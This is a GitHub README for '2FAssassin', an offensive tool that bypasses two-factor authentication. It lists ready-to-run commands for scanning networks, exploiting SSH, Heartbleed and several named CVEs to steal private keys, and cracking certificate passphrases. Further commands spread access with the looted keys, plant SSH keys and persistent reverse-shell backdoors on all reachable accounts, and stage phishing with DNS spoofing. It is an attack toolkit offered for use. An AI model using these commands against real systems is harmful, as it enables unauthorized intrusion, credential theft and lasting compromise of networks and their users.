-
Notifications
You must be signed in to change notification settings - Fork 72
Bypass Two-Factor-Authentication
dothanthitiendiettiende/2FAssassin
Folders and files
| Name | Name | Last commit message | Last commit date | |
|---|---|---|---|---|
Repository files navigation
## Notes ## - Will upload LATEST codes by 10th September 2017. ## Preamble ## - Code changes from time to time, please do a 'git pull' before running the tool. ## Intro ## - The effectiveness of the Two-Factor-Authentication depends on how well a user protects "something only the user has". - The tool looks out for getting the OTP(s) and private keys using various methods. - The private keys can be extracted from client certificates and cracked to be used for authentication. - The tool exploits the common vulnerabilities that caused private keys leakage. - Propagates the compromise starting from a single machine to the entire networks via looted private keys. ## Installing ## - Install python on Kali Linux, then run: pip install 2fassassin cd /root/2fassassin OR git clone https://github.com/maxwellkoh/2FAssassin.git cd 2fassassin ## Features ## root@kali:~/2fassassin# python assassin.py -h ___ ___ _ _ |_ ) __/_\ ______ __ _ _____(_)_ _ / /| _/ _ \ (_-<_-</ _` (_-<_-< | ' \+v2 /___|_/_/ \_\/__/__/\__,_/__/__/_|_||_| usage: assassin.py [-h] [--target TARGET] [--silent] [--scan SCAN] [--check CHECK] [--cert CERT] [--filetype FILETYPE] [--user USER] [--secret SECRET] [--host HOST] [--mode MODE] [--auto AUTO] [--post POST] [--db DB] [--key KEY] [--log LOG] Bypass 2FA - SMS, Voice, SSH optional arguments: -h, --help show this help message and exit --target TARGET IP Address --silent reduce output verbosity --scan SCAN Network enumeration { basic | advanced } --check CHECK Check for vulnerabilities, modules --cert CERT Certificate management --filetype FILETYPE Specify file *.extension --user USER username --secret SECRET password --host HOST server ip --mode MODE mode --auto AUTO auto mode for automation --post POST post modules --db DB Manage your trophies. --key KEY keys management --log LOG View logs root@kali:~/2fassassin# ## Example Usage ## - Network enumeration: ./assassin.py --scan <basic | advanced> --target <ip_address | range> ./assassin.py --scan advanced --target 192.168.0.0/24 ./assassin.py --scan basic --target 192.168.2.40 AUTOMATIC MODE -------------- * Check everythings (common vulnerabilities) that cause the private keys to leak out. ./assassin.py --check auto --mode attack Network Enumeration + | Building Target Database | v +----------------------------------------------------------------------------+ |SSH-based Attacks | |ShellShock | |HeartBleed | |Ceragon FibeAir IP-10 SSH Private Key Exposure | |ExaGrid Known SSH Key and Default Password | |F5 BIG-IP SSH Private Key Exposure | |Loadbalancer.org Enterprise VA SSH Private Key | |Array Networks vAPV and vxAG Private Key Privilege Escalation Code Execution| |Quantum DXi V1000 SSH Private Key Exposure | +-------------------------------------+--------------------------------------+ | | POST Modules v Keys Extraction + | Looted Keys | v Key-based Authentication Manual MODE ----------- * SSH-based Attacks to get private keys ./assassin.py --check ssh --mode attack * HeartBleed Attacks to get private keys: ./assasin.py --check heartbleed --mode attack * Ceragon FibeAir IP-10 SSH Private Key Exposure: CVE-2015-0936 ./assassin.py --check ceragon --mode attack * ExaGrid Known SSH Key and Default Password : CVE-2016-1560 ./assassin.py --check exagrid --mode attack * F5 BIG-IP SSH Private Key Exposure: CVE-2012-1493 ./assassin.py --check f5 --mode attack * Loadbalancer.org Enterprise VA SSH Private Key ./assassin.py --check loadbalancer --mode attack * Array Networks vAPV and vxAG Private Key Privilege Escalation Code Execution ./assassin.py --check array --mode attack * Quantum DXi V1000 SSH Private Key Exposure ./assassin.py --check quantum --mode attack * Check & disable Two-Factor Authentication ./assassin.py --check config --mode attack POST MODE --------- * Once you looted the private keys, perform key-based authentication to all targets in the database ./assassin.py --check ssh --mode auth Certificate Handling --------------------- #4 Remove Passphrase <---------------------------+ + | | | | #3 | | Parsing Cracked Passphase | | | Analyze Certificate | | + v | | | | +---------------------------+ | | | | + #1 +----------> | ^^^^^^^^^^^^^^^^^^^^^ | <---------+ Getting Passphrase | PKCS#12 Certificate | { Cracking | Stealing } | ^^^^^^^^^^^^^^^^^^^^^ | #2 | | +----------+-----+----------+ | | keep for later use <--------+ | | :) | | | | | | | #5 | | #6 | Extract Public Key <----------------+ +--------------------> Extract Private Key+ + | v #10 Validate Domain #7 Authenticate to SSL Server <-------+ + | | | v #9 | Real Domain Hunting +----------------> Prepare Client Machine +--------------------+ #8 +----------------------------+ SSL/HTTPS | Loading Client|Certificate | +----------------------------+ * Look for potential certificate files (contains private keys inside!!!) ./assassin.py --cert analyze --filetype pfx * Cracking PKCS#12 Passphrases: {Dictionary Attacks -- using wordlist} ./assassin.py --cert crack --mode dic --filetype pfx {Pure Brute Force + Mutation} ./assassin.py --cert crack --mode bruteforce --filetype pfx * Dissect the certificate file + removing the passphrases + hunting for correct domain (target server) ./assassin.py --cert dissect --filetype pfx * Preparing client machine + install cracked certificate + authenticate to SSL server ./assassin.py --cert windows --user <username> --secret <password> --host <client_machine_ip> #2 Loads client-certificate +-----------------+ +----------------+ +------------------+ | Attacker Machine| | Windows Client | | SSL Website | | (2FAssassin) +---------> |(172.16.173.180)+-----------------> | (172.16.173.182) | +-----------------+ +----------------+ +------------------+ Sends client-certificate, instruction script Authenticates to remote SSL website #1 #3 Backdoor -------- #4 {add keys} '2fassassin' +---------> account_1 #1 +-----------+ | +-------------> |create user| +---------> account_2 | #2 +--------------------+ | sshkey +-------------> |generate RSA keypair| +---------> account_3 | #3 +------------------------+ | +-------------> |access to remote server| -------+---------> account_4 +------------------------+ | +---------> account_5 | +---------> ......... * Add arbitrary SSH keys to all the accessible accounts ./assassin.py --check sshkey --mode attack * Drop persistent backdoor (reverse shell) to all the accessible accounts ./assassin.py --check reverse --mode attack Impersonation / Client Side Attacks ----------------------------------- #1 Server certificate was stolen by attacker +------------+ | Attacker | <-----------------------------------------------------------+ |(2FAssassin)| | +----+--+----+ | | ^ | | | #7 | | | reverse shell | | | connects back | | | to attacker | | | | | | +----------------+ (normal) +---------+--------+ | | | Windows Client | client auth | SSL Website | | +-------------------+(172.16.173.180)+-----------------> | (172.16.173.182) | | +----------+-+---+ +------------------+ | ^ | | #4 | | | SSL webiste is now | | | at 172.16.173.194 | +-------------------------------+ #6 | | | client download | | #5 | malware from the | #3 +-----+-----------+ (abnormal) | phishing website | DNS Spoofing | | client auth | +-------------------------> | DNS Server | | | |(172.16.173.191) | | | | | | | +-----------------+ | | | | +------------------+ +----------------------------------------------------------> | Phishing Website | #2 Attacker cracked the server certificate, then use it | (172.16.173.194) | to set up phishing website +------------------+ * Setup phishing website + DNS Spoofing Attacks ./assassin.py --filetype pfx --spoof <phishing_server_ip> --user <username> --secret <password> --target <victim_ip> --gateway <dns_ip> --mitm <on|off> Tunnelling ----------- * Create ssh tunnel using looted private keys (greater the chain value, longer the ssh tunnel) ./assassin.py --tunnel ssh --chain 1 --user <username> --secret password --user2 <username> --host <server_ip> ./assassin.py --tunnel ssh --chain 2 --user <username> --secret password --user2 <username2> --host <server_ip> --user3 <username3> --host2 <server_ip2> ./assassin.py --tunnel ssh --chain 3 --user <username> --secret password --user2 <username2> --host <server_ip> --user3 <username3> --host2 <server_ip2> --user4 <username4> --host3 <server_ip3> Administration --------------- * View activity output: ./assassin.py --log all * See what (e.g., credentials) you've got: ./assassin.py --log loot * Find out the origin of the SSH user: ./assassin.py --log whereis --user <username> * Find out what SSH accounts are remotely accessible: ./assassin.py --log account --host <target_host> Investigation -------------- * Check if a remote host using key-based authentication ./assassin.py --check pka --mode detect * Find out which machine hosting the user account ./assassin.py --log whereis --user <username> * Find out what accounts can potentially be accessed by a specific user ./assassin.py --log account --host <ip_address> ## FAQ ## - Error when launching network enumeration Try loading the msgprc at msfconsole, and define the password (e.g., load msgrpc Pass=abc123) - The user "2fassassin" not found when "./assassin.py --check sshkey --mode attack" Try create the user manually: useradd --force-badname 2fassassin su 2fassassin cd $home ssh-keygen -t rsa ## Limitations ## - Development Status :: 2 - Pre-Alpha - Currently still under active development. ## Copyright ## 2FAssassin - Created and maintained by Maxwell Koh This program is free software: you can redistribute it and/ or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>
About
Bypass Two-Factor-Authentication
Resources
Stars
Watchers
Forks
Releases
No releases published
Packages 0
No packages published